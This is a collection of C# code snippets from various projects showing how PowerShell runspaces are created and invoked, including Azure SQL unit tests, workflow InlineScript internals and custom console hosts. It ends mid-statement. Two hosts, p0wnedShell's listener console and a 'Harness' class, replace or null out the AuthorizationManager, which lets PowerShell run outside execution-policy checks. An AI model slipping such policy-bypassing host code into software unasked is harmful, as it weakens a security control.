public PowerShellDataSource() { _allRecords = new ObservableCollection<object>(); _specs = new List<DynamicMemberSpecification>(); _scales = new ScaleDescriptorAssignmentCollection(); _scales.CollectionChanged += OnScaleDescriptorAssignmentCollectionChanged; _dataCollectionMaxSize = 20; _data = new ObservableCollection<object>(); _progressRecords = new ObservableCollection<ProgressRecord>(); _dynamicMembers = new List<PSMemberInfo>(); _powerShell = System.Management.Automation.PowerShell.Create(); var runspace = RunspaceFactory.CreateRunspace(); runspace.Open(); runspace.SessionStateProxy.SetVariable( "seeShellDataSource", this ); var tmp = System.Management.Automation.PowerShell.Create(); tmp.Runspace = runspace; tmp.AddScript("function start-seeShellDataSet { $seeShellDataSource.StartDataSet(); }") .AddScript("function commit-seeShellDataSet { $seeShellDataSource.CommitDataSet(); }") .AddScript("function undo-seeShellDataSet { $seeShellDataSource.RollbackDataSet(); }"); tmp.Invoke(); _powerShell.Runspace = runspace; _powerShell.InvocationStateChanged += InvocationStateChanged; _powerShell.Streams.Debug.DataAdded += DebugRecordAdded; _powerShell.Streams.Verbose.DataAdded += VerboseRecordAdded; _powerShell.Streams.Progress.DataAdded += ProgressRecordAdded; _powerShell.Streams.Error.DataAdded += ErrorRecordAdded; _powerShell.Streams.Warning.DataAdded += WarningRecordAdded; }
internal ClientRemotePowerShell(System.Management.Automation.PowerShell shell, RemoteRunspacePoolInternal runspacePool) { this.shell = shell; this.clientRunspacePoolId = runspacePool.InstanceId; this.runspacePool = runspacePool; this.computerName = runspacePool.ConnectionInfo.ComputerName; }
public P0wnedListenerConsole() { InitialSessionState state = InitialSessionState.CreateDefault(); state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy"); this.myHost = new MyHost(this); this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state); this.myRunSpace.Open(); lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; PSCommand[] profileCommands = p0wnedShell.HostUtilities.GetProfileCommands("p0wnedShell"); foreach (PSCommand command in profileCommands) { this.currentPowerShell.Commands = command; this.currentPowerShell.Invoke(); } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
public static void InitializeClass(TestContext context) { powershell = System.Management.Automation.PowerShell.Create(); MockHttpServer.SetupCertificates(); UnitTestHelper.SetupUnitTestSubscription(powershell); serverName = SqlDatabaseTestSettings.Instance.ServerName; powershell.Runspace.SessionStateProxy.SetVariable("serverName", serverName); }
public PSCommand(Envelope<PSRunspace, UserContext> runspace, ResourceType entityType, PSCmdletInfo cmdletInfo, CommandType commandType = (CommandType)1) { this.syncObject = new object(); this.runspace = runspace; this.cmdletInfo = cmdletInfo; this.entityType = entityType; this.parameters = new Dictionary<string, object>(); this.powerShell = null; this.timer = new PswsTimer(new ElapsedEventHandler(this.TimerCallback), DataServiceController.Current.Configuration.PowerShell.Quotas.MaxExecutionTime, false, false); this.commandType = commandType; }
public PowerShellSession(IPowerShellHost powerShellHost, IFilesystemAccessor filesystemAccessor) { this.powerShellHost = powerShellHost; this.filesystemAccessor = filesystemAccessor; this.pipelineOutput = new StringBuilder(); Environment.SetEnvironmentVariable("PSExecutionPolicyPreference", "RemoteSigned", EnvironmentVariableTarget.Process); this.runspace = RunspaceFactory.CreateRunspace(this.powerShellHost as PSHost); this.runspace.Open(); this.powerShell = System.Management.Automation.PowerShell.Create(); this.powerShell.Runspace = this.runspace; }
public void SetupTest() { powershell = System.Management.Automation.PowerShell.Create(); MockHttpServer.SetupCertificates(); UnitTestHelper.SetupUnitTestSubscription(powershell); serverName = SqlDatabaseTestSettings.Instance.ServerName; powershell.Runspace.SessionStateProxy.SetVariable("serverName", serverName); // Create atleast two test databases NewAzureSqlDatabaseTests.CreateTestDatabasesWithCertAuth(powershell); }
private Harness() { this.sleep = 0; this.host = new CustomPSHost(this); this.state = InitialSessionState.CreateDefault(); this.state.AuthorizationManager = null; this.myRunSpace = RunspaceFactory.CreateRunspace(this.host, this.state); this.myRunSpace.ThreadOptions = PSThreadOptions.UseCurrentThread; this.myRunSpace.Open(); this.ps = PowerShell.Create(); this.ps.Runspace = this.myRunSpace; }
/// <summary> /// Create this instance of the console listener. /// </summary> public PSListenerConsoleSample() { // Create the host and runspace instances for this interpreter. Note that // this application doesn't support console files so only the default snapins // will be available. this.myHost = new MyHost(this); this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost); this.myRunSpace.Open(); // Create a PowerShell object that will be used to execute the commands // to create $profile and load the profiles. lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; //PSCommand[] profileCommands = AzurePerfTools.PowerShellHost.HostUtilities.GetProfileCommands("SampleHost04"); //foreach (PSCommand command in profileCommands) //{ // this.currentPowerShell.Commands = command; // this.currentPowerShell.Invoke(); //} } finally { // Dispose of the pipeline line and set it to null, locked because currentPowerShell // may be accessed by the ctrl-C handler... lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
public PSPathTranslationTests() { // create temp file _tempFilePath = Path.GetTempFileName(); // initialize var state = InitialSessionState.CreateDefault(); state.ThreadOptions = PSThreadOptions.UseCurrentThread; state.ApartmentState = ApartmentState.STA; _ps = System.Management.Automation.PowerShell.Create(); _ps.Runspace = RunspaceFactory.CreateRunspace(state); _ps.Runspace.Open(); // create a new PSDrive for translation tests _ps.AddCommand("New-PSDrive") .AddParameter("Name", "mytemp") .AddParameter("PSProvider", FileSystemProvider.ProviderName) .AddParameter("Root", Path.GetTempPath()); _ps.Invoke(); Assert.True(_ps.Streams.Error.Count == 0, "Failed to create mytemp psdrive."); _ps.Streams.ClearStreams(); _ps.Commands.Clear(); }
public IEnumerator<DSResource> InvokeAsync(Expression expression, bool noStreamingResponse) { IEnumerator<DSResource> enumerator; this.AddImmutableParameters(); this.cmdletInfo.VerifyMandatoryParameterAdded(this.parameters.Keys, this.commonParameterFlag); this.ConvertCollectionParameters(); SafeRefCountedContainer<WindowsIdentity> authorizedUserIdentity = DataServiceController.Current.GetAuthorizedUserIdentity(this.runspace.Borrower); WindowsImpersonationContext windowsImpersonationContext = authorizedUserIdentity.Instance.Impersonate(); using (windowsImpersonationContext) { TraceHelper.Current.BeginOperation0("PowerShell.Create"); this.powerShell = System.Management.Automation.PowerShell.Create(); TraceHelper.Current.EndOperation("PowerShell.Create"); TraceHelper.Current.BeginOperation0("RunspaceContext.Create"); DefaultRunspaceContext defaultRunspaceContext = DefaultRunspaceContext.Create(this.runspace.Item.Runspace); using (defaultRunspaceContext) { TraceHelper.Current.EndOperation("RunspaceContext.Create"); EventHandler<DataAddedEventArgs> eventHandler = new EventHandler<DataAddedEventArgs>(this.DataAddedEventHandler); if (this.entityType == null) { eventHandler = null; } IEnumerator<DSResource> enumerator1 = this.InvokeCmdletAsync(this.powerShell, expression, eventHandler, new AsyncCallback(this.ExecutionCompletionEventHandler), noStreamingResponse); this.ExecutionCompletionEventHandler(this.asynchronousResult); enumerator = enumerator1; } } return enumerator; }
/// <summary> /// Creates the $credential object in the given <paramref name="powershell"/> instance with /// user name "testuser" and password "testpass". /// </summary> /// <param name="powershell">An instance of the <see cref="PowerShell"/> object.</param> public static void CreateTestCredential(System.Management.Automation.PowerShell powershell) { CreateTestCredential(powershell, "testuser", "testp@ss1"); }
internal List<object> ExecuteScriptPart(string script, bool stringOutput, bool internalScript, bool marshalResults) { if (string.IsNullOrWhiteSpace(script) || State == RunspaceAvailability.Busy) { return null; } if (Runspace.DefaultRunspace == null) { Runspace.DefaultRunspace = host.Runspace; } Log.Info("Executing a Sitecore PowerShell Extensions script.", this); Log.Debug(script, this); // Create a pipeline, and populate it with the script given in the // edit box of the form. return SpeTimer.Measure("script execution", () => { try { using (powerShell = NewPowerShell()) { powerShell.Commands.AddScript(script); return ExecuteCommand(stringOutput, marshalResults); } } finally { powerShell = null; } }); }
public void SetAzureSqlDatabaseServiceObjectiveWithSqlAuth() { using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Create a context NewAzureSqlDatabaseServerContextTests.CreateServerContextSqlAuth( powershell, "$context"); HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTests.SetAzureSqlDatabaseServiceObjectiveWithSqlAuth"); DatabaseTestHelper.SetDefaultTestSessionSettings(testSession); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); Assert.IsNotNull(actual.UserAgent); switch (expected.Index) { // Request 0-1: Get Service Objective case 0: case 1: // Request 2-7: Get/Update/Re-Get testdb2 case 2: case 3: case 4: case 5: case 6: DatabaseTestHelper.ValidateHeadersForODataRequest( expected.RequestInfo, actual); break; default: Assert.Fail("No more requests expected."); break; } }); using (AsyncExceptionManager exceptionManager = new AsyncExceptionManager()) { // Create context with both ManageUrl and ServerName overriden Collection <PSObject> database; using (new MockHttpServer( exceptionManager, MockHttpServer.DefaultServerPrefixUri, testSession)) { powershell.InvokeBatchScript( @"$slo = Get-AzureSqlDatabaseServiceObjective " + @"-Context $context " + @"-ServiceObjectiveName ""P1"""); database = powershell.InvokeBatchScript( @"Set-AzureSqlDatabase " + @"-Context $context " + @"-DatabaseName testdb2 " + @"-ServiceObjective $slo " + @"-Force " + @"-PassThru"); } Assert.AreEqual(0, powershell.Streams.Error.Count, "Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Warnings during run!"); powershell.Streams.ClearStreams(); Services.Server.Database databaseObj = database.Single().BaseObject as Services.Server.Database; Assert.IsNotNull(databaseObj, "Expecting a Database object"); Assert.AreEqual("testdb2", databaseObj.Name, "Expected db name to be testdb2"); Assert.AreEqual((byte)0, databaseObj.ServiceObjectiveAssignmentState, "Expected assignment state to be complete"); DatabaseTestHelper.ValidateDatabaseProperties(databaseObj, "testdb2", "Web", 5, 5368709120L, "Japanese_CI_AS", "Shared", false, DatabaseTestHelper.PremiumP1SloGuid); } } }
public void ImportExportAzureSqlDatabaseTests() { using (System.Management.Automation.PowerShell powershell = System.Management.Automation.PowerShell.Create()) { // Setup the subscription used for the test AzureSubscription subscription = UnitTestHelper.SetupUnitTestSubscription(powershell); // Set the necessary session variables powershell.Runspace.SessionStateProxy.SetVariable( "serverName", SqlDatabaseTestSettings.Instance.ServerName); powershell.Runspace.SessionStateProxy.SetVariable( "sourceDB", SqlDatabaseTestSettings.Instance.SourceDatabaseName); powershell.Runspace.SessionStateProxy.SetVariable( "targetDB", SqlDatabaseTestSettings.Instance.TargetDatabaseName); powershell.Runspace.SessionStateProxy.SetVariable( "credential", new PSCredential( SqlDatabaseTestSettings.Instance.UserName, SqlDatabaseTestSettings.Instance.SecurePassword)); powershell.Runspace.SessionStateProxy.SetVariable( "storageAccountName", SqlDatabaseTestSettings.Instance.StorageName); powershell.Runspace.SessionStateProxy.SetVariable( "storageAccountKey", SqlDatabaseTestSettings.Instance.AccessKey); powershell.Runspace.SessionStateProxy.SetVariable( "storageContainerName", SqlDatabaseTestSettings.Instance.ContainerName); // Create a new server HttpSession testSession = MockServerHelper.DefaultSessionCollection.GetSession( "UnitTest.ImportExportAzureSqlDatabaseTests"); ServerTestHelper.SetDefaultTestSessionSettings(testSession); //testSession.ServiceBaseUri = new Uri("https://management.core.windows.net"); testSession.RequestValidator = new Action <HttpMessage, HttpMessage.Request>( (expected, actual) => { Assert.AreEqual(expected.RequestInfo.Method, actual.Method); string expectedRequestText = RequestTextToString(expected.RequestInfo); string actualRequestText = RequestTextToString(actual); // When checking out from GitHub, different new line setting may lead to different char \r\n or \n // Replace them with String.Empty before comparison Assert.AreEqual( Regex.Replace(expectedRequestText, @"\s+", String.Empty), Regex.Replace(actualRequestText, @"\s+", String.Empty)); Assert.IsTrue( actual.UserAgent.Contains(ApiConstants.UserAgentHeaderValue), "Missing proper UserAgent string."); }); PSObject storageContext = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"New-AzureStorageContext" + @" -StorageAccountName $storageAccountName" + @" -StorageAccountKey $storageAccountKey")); }).FirstOrDefault(); // Tell the sql auth factory to create a v2 context (skip checking sql version using select query). // SqlAuthContextFactory.sqlVersion = SqlAuthContextFactory.SqlVersion.v2; //testSession.ServiceBaseUri = new Uri("https://lqtqbo6kkp.database.windows.net"); Collection <PSObject> databaseContext = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable( "manageUrl", MockHttpServer.DefaultServerPrefixUri.AbsoluteUri); return(powershell.InvokeBatchScript( @"New-AzureSqlDatabaseServerContext" + @" -ServerName $serverName" + @" -ManageUrl $manageUrl" + @" -Credential $credential")); }); //testSession.ServiceBaseUri = new Uri("https://management.core.windows.net"); Collection <PSObject> startExportResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable("storageContext", storageContext); powershell.Runspace.SessionStateProxy.SetVariable( "databaseContext", databaseContext.FirstOrDefault()); return(powershell.InvokeBatchScript( @"Start-AzureSqlDatabaseExport" + @" -SqlConnectionContext $databaseContext" + @" -DatabaseName $sourceDB" + @" -StorageContext $storageContext" + @" -StorageContainerName $storageContainerName" + @" -BlobName backup1")); }); Collection <PSObject> getExportStatusResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable( "exportResult", startExportResult.FirstOrDefault()); return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabaseImportExportStatus" + @" -ServerName $serverName" + @" -RequestId $exportResult.RequestGuid" + @" -Username $exportResult.SqlCredentials.UserName" + @" -Password $exportResult.SqlCredentials.Password")); }); Collection <PSObject> startImportResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { return(powershell.InvokeBatchScript( @"Start-AzureSqlDatabaseImport" + @" -SqlConnectionContext $databaseContext" + @" -DatabaseName $targetDB" + @" -Edition Business" + @" -DatabaseMaxSize 10" + @" -StorageContext $storageContext" + @" -StorageContainerName $storageContainerName" + @" -BlobName backup1")); }); Collection <PSObject> getImportStatusResult = MockServerHelper.ExecuteWithMock( testSession, MockHttpServer.DefaultHttpsServerPrefixUri, () => { powershell.Runspace.SessionStateProxy.SetVariable( "importResult", startImportResult.FirstOrDefault()); return(powershell.InvokeBatchScript( @"Get-AzureSqlDatabaseImportExportStatus" + @" -ServerName $serverName" + @" -RequestId $importResult.RequestGuid" + @" -Username $importResult.SqlCredentials.UserName" + @" -Password $importResult.SqlCredentials.Password")); }); Assert.AreEqual(0, powershell.Streams.Error.Count, "Unexpected Errors during run!"); Assert.AreEqual(0, powershell.Streams.Warning.Count, "Unexpected Warnings during run!"); } }
/// <summary> /// A helper class that builds and executes a pipeline that writes to the /// default output path. Any exceptions that are thrown are just passed to /// the caller. Since all output goes to the default outter, this method() /// won't return anything. /// </summary> /// <param name="cmd">The script to run</param> /// <param name="input">Any input arguments to pass to the script. If null /// then nothing is passed in.</param> private void executeHelper(string cmd, object input) { // Just ignore empty command lines... if (String.IsNullOrEmpty(cmd)) { return; } // Create the pipeline object and make it available // to the ctrl-C handle through the currentPowerShell instance // variable lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } this.currentPowerShell.Runspace = this.myRunSpace; // Create a pipeline for this execution - place the result in the currentPowerShell // instance variable so it is available to be stopped. try { this.currentPowerShell.AddScript(cmd); // Now add the default outputter to the end of the pipe and indicate // that it should handle both output and errors from the previous // commands. This will result in the output being written using the PSHost // and PSHostUserInterface classes instead of returning objects to the hosting // application. this.currentPowerShell.AddCommand("out-default"); this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); // If there was any input specified, pass it in, otherwise just // execute the pipeline. if (input != null) { this.currentPowerShell.Invoke(new object[] { input }); } else { this.currentPowerShell.Invoke(); } } finally { // Dispose of the pipeline line and set it to null, locked because currentPowerShell // may be accessed by the ctrl-C handler... lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } }
public IEnumerator<DSResource> InvokeAsync(Expression expression, bool noStreamingResponse) { IEnumerator<DSResource> enumerator; using (OperationTracer operationTracer = new OperationTracer("Entering Pipeline.InvokeAsync")) { MonitorLock monitorLock = new MonitorLock(this); MonitorLock monitorLock1 = monitorLock; using (monitorLock) { if (this.Command == null || this.OutputFormat == null) { throw new DataServiceException(ExceptionHelpers.GetExceptionMessage(Resources.InvalidInvocationData, new object[0])); } else { this.ExpirationTime = DateTimeHelper.UtcNow; DateTime expirationTime = this.ExpirationTime; this.ExpirationTime = expirationTime.AddMilliseconds((double)this.WaitMsec); DateTime dateTime = this.ExpirationTime; this.ExpirationTime = dateTime.AddSeconds((double)DataServiceController.Current.Configuration.Invocation.Lifetime); WindowsImpersonationContext windowsImpersonationContext = this.executionToken.Instance.Impersonate(); using (windowsImpersonationContext) { using (OperationTracer operationTracer1 = new OperationTracer("PowerShell.Create")) { ScriptBlockAst scriptBlockAst = this.ValidateAndBuildPipeline(string.Concat(this.Command, "| ConvertTo-", this.OutputFormat)); Runspace.DefaultRunspace = this.runspace.Item.Runspace; this.powerShell = scriptBlockAst.GetScriptBlock().GetPowerShell(new object[0]); this.powerShell.Runspace = this.runspace.Item.Runspace; Runspace.DefaultRunspace = null; } TraceHelper.Current.BeginOperation0("RunspaceContext.Create"); DefaultRunspaceContext defaultRunspaceContext = DefaultRunspaceContext.Create(this.runspace.Item.Runspace); using (defaultRunspaceContext) { TraceHelper.Current.EndOperation("RunspaceContext.Create"); TraceHelper.Current.PipelineStart(this.ID, this.Command, this.OutputFormat); this.outputObjects.DataAdded += new EventHandler<DataAddedEventArgs>(this.DataAddedEventHandler); this.powerShell.BeginInvoke<PSObject, PSObject>(null, this.outputObjects, Utils.GetPSInvocationSettings(), this.TestHookCompletionCallback, null); monitorLock1.Exit(); this.finished.WaitOne(this.WaitMsec); this.timer.Start(); monitorLock1.Enter(); List<DSResource> dSResources = new List<DSResource>(); dSResources.Add(this.MakeDsResource()); TraceHelper.Current.DebugMessage("Exiting Pipeline.InvokeAsync"); enumerator = dSResources.AsEnumerable<DSResource>().GetEnumerator(); } } } } } return enumerator; }
/// <summary> /// Adds the PSActivity variable to the active runspace, which is of type InlineScriptContext. /// </summary> /// <param name="implementationContext">The ActivityImplementationContext returned by the call to GetCommand.</param> protected override void PrepareSession(ActivityImplementationContext implementationContext) { if (implementationContext.PSActivityEnvironment == null) { implementationContext.PSActivityEnvironment = new PSActivityEnvironment(); } // Update the preference variables UpdatePreferenceVariables(implementationContext); System.Management.Automation.PowerShell session = implementationContext.PowerShellInstance; implementationContext.PSActivityEnvironment.Variables["UserName"] = System.Environment.UserName; string computerName = null; if (implementationContext.ConnectionInfo != null) { computerName = implementationContext.ConnectionInfo.ComputerName; } if (string.IsNullOrEmpty(computerName)) { computerName = "localhost"; } implementationContext.PSActivityEnvironment.Variables["ComputerName"] = computerName; implementationContext.PSActivityEnvironment.Variables["PSComputerName"] = computerName; string workflowCommandName = null; Dictionary <string, object> activityVariables = (Dictionary <string, object>)implementationContext.WorkflowContext; if (activityVariables != null && activityVariables.ContainsKey("ParameterDefaults")) { HostParameterDefaults defaults = activityVariables["ParameterDefaults"] as HostParameterDefaults; if (defaults != null) { workflowCommandName = defaults.Parameters["WorkflowCommandName"] as string; } } if (string.IsNullOrEmpty(workflowCommandName)) { workflowCommandName = "unknown"; } implementationContext.PSActivityEnvironment.Variables["CommandName"] = workflowCommandName; // Populate the default variables InlineScriptContext inlineScriptContext = new InlineScriptContext(this); // Populate the activity variables foreach (KeyValuePair <string, object> entry in activityVariables) { if (String.Equals(entry.Key, "ParameterDefaults", StringComparison.OrdinalIgnoreCase)) { System.Diagnostics.Debug.Assert(entry.Value is HostParameterDefaults, "ParameterDefaults does not contain a HostParameterDefaults object"); inlineScriptContext.Variables[entry.Key] = ((HostParameterDefaults)entry.Value).Parameters; continue; } inlineScriptContext.Variables[entry.Key] = entry.Value; } // Set the PowerShell session variables... foreach (KeyValuePair <string, object> entry in activityVariables) { var value = entry.Value; if (String.Equals(entry.Key, "ParameterDefaults", StringComparison.OrdinalIgnoreCase)) { continue; } implementationContext.PSActivityEnvironment.Variables[entry.Key] = value; } }
// InlineScript needs to handle these specially, since it might go through the PowerShell AddScript() API. // If the parameter "CommandName" is in use, we add the preference configuration to the command parameters, // otherwise, we add the preference configuration to the preference variable. // All other activities have this set automatically by the infrastructure via parameters. private void UpdatePreferenceVariables(ActivityImplementationContext implementationContext) { System.Management.Automation.PowerShell session = implementationContext.PowerShellInstance; System.Management.Automation.Runspaces.Command command = null; if (!_commandSpecified) { // "CommandName" and "Parameters" are in use command = session.Commands.Commands[0]; } if (implementationContext.Verbose != null) { if (command != null) { command.Parameters.Add("Verbose", implementationContext.Verbose); } else { // Map the boolean / switch to an actual action preference ActionPreference preference = ActionPreference.SilentlyContinue; if (implementationContext.Verbose.Value) { preference = ActionPreference.Continue; } implementationContext.PSActivityEnvironment.Variables["VerbosePreference"] = preference; } } if (implementationContext.Debug != null) { if (command != null) { command.Parameters.Add("Debug", implementationContext.Debug); } else { // Map the boolean / switch to an actual action preference ActionPreference preference = ActionPreference.SilentlyContinue; if (implementationContext.Debug.Value) { preference = ActionPreference.Continue; } implementationContext.PSActivityEnvironment.Variables["DebugPreference"] = preference; } } if (implementationContext.WhatIf != null && command != null) { command.Parameters.Add("WhatIf", implementationContext.WhatIf); } if (implementationContext.ErrorAction != null) { if (command != null) { command.Parameters.Add("ErrorAction", implementationContext.ErrorAction); } else { implementationContext.PSActivityEnvironment.Variables["ErrorActionPreference"] = implementationContext.ErrorAction; } } if (implementationContext.WarningAction != null) { if (command != null) { command.Parameters.Add("WarningAction", implementationContext.WarningAction); } else { implementationContext.PSActivityEnvironment.Variables["WarningPreference"] = implementationContext.WarningAction; } } if (implementationContext.InformationAction != null) { if (command != null) { command.Parameters.Add("InformationAction", implementationContext.InformationAction); } else { implementationContext.PSActivityEnvironment.Variables["InformationPreference"] = implementationContext.InformationAction; } } }
public Dictionary <string, List <string> > CheckRuleExtension(string[] path, PSCmdlet cmdlet) { Dictionary <string, List <string> > results = new Dictionary <string, List <string> >(); List <string> invalidPaths = new List <string>(); List <string> validDllPaths = new List <string>(); List <string> validModPaths = new List <string>(); // Gets valid module names foreach (string childPath in path) { try { cmdlet.WriteVerbose(string.Format(CultureInfo.CurrentCulture, Strings.CheckModuleName, childPath)); string resolvedPath = string.Empty; // Users may provide a valid module path or name, // We have to identify the childPath is really a directory or just a module name. // You can also consider following two commands. // Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules" // Get-ScriptAnalyzerRule -RuleExtension "%USERPROFILE%\WindowsPowerShell\Modules\ContosoAnalyzerRules" if (Path.GetDirectoryName(childPath) == string.Empty) { resolvedPath = childPath; } else { resolvedPath = cmdlet.SessionState.Path .GetResolvedPSPathFromPSPath(childPath).First().ToString(); } using (System.Management.Automation.PowerShell posh = System.Management.Automation.PowerShell.Create()) { string script = string.Format(CultureInfo.CurrentCulture, "Get-Module -Name '{0}' -ListAvailable", resolvedPath); PSModuleInfo moduleInfo = posh.AddScript(script).Invoke <PSModuleInfo>().First(); // Adds original path, otherwise path.Except<string>(validModPaths) will fail. // It's possible that user can provide something like this: // "..\..\..\ScriptAnalyzer.UnitTest\modules\CommunityAnalyzerRules\CommunityAnalyzerRules.psd1" if (moduleInfo.ExportedFunctions.Count > 0) { validModPaths.Add(childPath); } } } catch { // User may provide an invalid module name, like c:\temp. // It's a invalid name for a Windows PowerShell module, // But we need test it further since we allow user to provide a folder to extend rules. // You can also consider following two commands. // Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules", "C:\Temp\ExtendScriptAnalyzerRules.dll" // Get-ScriptAnalyzerRule -RuleExtension "ContosoAnalyzerRules", "C:\Temp\" continue; } } // Gets valid dll paths foreach (string childPath in path.Except <string>(validModPaths)) { try { string resolvedPath = cmdlet.SessionState.Path .GetResolvedPSPathFromPSPath(childPath).First().ToString(); cmdlet.WriteDebug(string.Format(CultureInfo.CurrentCulture, Strings.CheckAssemblyFile, resolvedPath)); if (Path.GetExtension(resolvedPath).ToLower(CultureInfo.CurrentCulture) == ".dll") { if (!File.Exists(resolvedPath)) { invalidPaths.Add(resolvedPath); continue; } } else { if (!Directory.Exists(resolvedPath)) { invalidPaths.Add(resolvedPath); continue; } } validDllPaths.Add(resolvedPath); } catch { invalidPaths.Add(childPath); } } // Resloves relative paths. try { for (int i = 0; i < validModPaths.Count; i++) { validModPaths[i] = cmdlet.SessionState.Path .GetResolvedPSPathFromPSPath(validModPaths[i]).First().ToString(); } for (int i = 0; i < validDllPaths.Count; i++) { validDllPaths[i] = cmdlet.SessionState.Path .GetResolvedPSPathFromPSPath(validDllPaths[i]).First().ToString(); } } catch { // If GetResolvedPSPathFromPSPath failed. We can safely ignore the exception. // Because GetResolvedPSPathFromPSPath always fails when trying to resolve a module name. } // Returns valid rule extensions results.Add("InvalidPaths", invalidPaths); results.Add("ValidModPaths", validModPaths); results.Add("ValidDllPaths", validDllPaths); return(results); }
protected override ActivityImplementationContext GetPowerShell(NativeActivityContext context) { ValidateParameters(); System.Management.Automation.PowerShell invoker = null; HashSet <string> allWorkflowVarNames = new HashSet <string>(StaticPotentialUsingVariableSet, StringComparer.OrdinalIgnoreCase); Dictionary <string, object> defaults = this.ParameterDefaults.Get(context); Dictionary <string, object> activityVariables = new Dictionary <string, object>(StringComparer.OrdinalIgnoreCase); Dictionary <string, object> activityUsingVariables = new Dictionary <string, object>(StringComparer.OrdinalIgnoreCase); string[] streams = { "Result", "PSError", "PSWarning", "PSVerbose", "PSDebug", "PSProgress", "PSInformation" }; // First, set the variables from the user's variables foreach (System.ComponentModel.PropertyDescriptor property in context.DataContext.GetProperties()) { if (String.Equals(property.Name, "ParameterDefaults", StringComparison.OrdinalIgnoreCase)) { continue; } // Add all user-defined variables/parameters in the same scope of the InlineScript activity if (!allWorkflowVarNames.Contains(property.Name)) { allWorkflowVarNames.Add(property.Name); } Object value = property.GetValue(context.DataContext); if (value != null) { object tempValue = value; PSDataCollection <PSObject> collectionObject = value as PSDataCollection <PSObject>; if (collectionObject != null && collectionObject.Count == 1) { tempValue = collectionObject[0]; } activityVariables[property.Name] = tempValue; } } // Then, set anything we received from parameters foreach (PSActivityArgumentInfo currentArgument in GetActivityArguments()) { string @default = currentArgument.Name; if (streams.Any(item => string.Equals(item, @default, StringComparison.OrdinalIgnoreCase))) { continue; } object argumentValue = currentArgument.Value.Get(context); if (argumentValue != null && !activityVariables.ContainsKey(currentArgument.Name)) { activityVariables[currentArgument.Name] = argumentValue; } } // Then, set the variables from the host defaults if (defaults != null) { foreach (string hostDefault in defaults.Keys) { string @default = hostDefault; if (streams.Any(item => string.Equals(item, @default, StringComparison.OrdinalIgnoreCase))) { continue; } object propertyValue = defaults[hostDefault]; if (propertyValue != null && !activityVariables.ContainsKey(hostDefault)) { activityVariables[hostDefault] = propertyValue; } } } if (_commandSpecified) { string script = string.IsNullOrEmpty(Command) ? string.Empty : Command; Tracer.WriteMessage(String.Format(CultureInfo.InvariantCulture, "PowerShell activity ID={0}: Inline Script: '{1}'.", context.ActivityInstanceId, script)); if (IsBlocked(script)) { throw new PSInvalidOperationException(String.Format(CultureInfo.InvariantCulture, ActivityResources.CannotLaunchFormat, script)); } string[] targetNodes = null; if (this.PSComputerName.Expression != null) { targetNodes = this.PSComputerName.Get(context); } else { if (defaults != null && defaults.ContainsKey("PSComputerName")) { targetNodes = this.ParameterDefaults.Get(context)["PSComputerName"] as string[]; } } // See if this command will be run in process. if ((targetNodes == null || targetNodes.Length == 0) && GetRunInProc(context)) { if (_compiledScriptForInProc == null || _ci == null) { lock (Syncroot) { if (_compiledScriptForInProc == null) { if (_scriptWithoutUsing == null) { _scriptWithoutUsing = RemoveUsingPrefix(script, allWorkflowVarNames, out _usingVariables); } _compiledScriptForInProc = ScriptBlock.Create(_scriptWithoutUsing); } // Invoke using the CommandInfo for Invoke-Command directly, rather than going through // the command discovery since this is much faster. if (_ci == null) { _ci = new CmdletInfo("Invoke-Command", typeof(Microsoft.PowerShell.Commands.InvokeCommandCommand)); } } } SetAvailableUsingVariables(activityVariables, activityUsingVariables); Tracer.WriteMessage("PowerShell activity: executing InlineScript locally with ScriptBlock."); invoker = System.Management.Automation.PowerShell.Create(); invoker.AddCommand(_ci).AddParameter("NoNewScope").AddParameter("ScriptBlock", _compiledScriptForInProc); } else { // Try to convert the ScriptBlock to a powershell instance if (_compiledScriptForOutProc == null) { lock (Syncroot) { if (_compiledScriptForOutProc == null) { _compiledScriptForOutProc = ScriptBlock.Create(script); } } } try { // we trust the code inside inlinescript, set isTrusted as True. invoker = _compiledScriptForOutProc.GetPowerShell(activityVariables, out activityUsingVariables, true); Tracer.WriteMessage("PowerShell activity: executing InlineScript with ScriptBlock to powershell conversion."); } catch (Exception) { invoker = null; } if (invoker == null) { // Since scriptblocks aren't serialized with fidelity in the remote case, we need to // use AddScript instead. if (_scriptWithoutUsing == null) { lock (Syncroot) { if (_scriptWithoutUsing == null) { _scriptWithoutUsing = RemoveUsingPrefix(script, allWorkflowVarNames, out _usingVariables); } } } SetAvailableUsingVariables(activityVariables, activityUsingVariables); Tracer.WriteMessage("PowerShell activity: executing InlineScript by using AddScript."); invoker = System.Management.Automation.PowerShell.Create(); invoker.AddScript(_scriptWithoutUsing); } } } else { string commandName = CommandName.Get(context); if 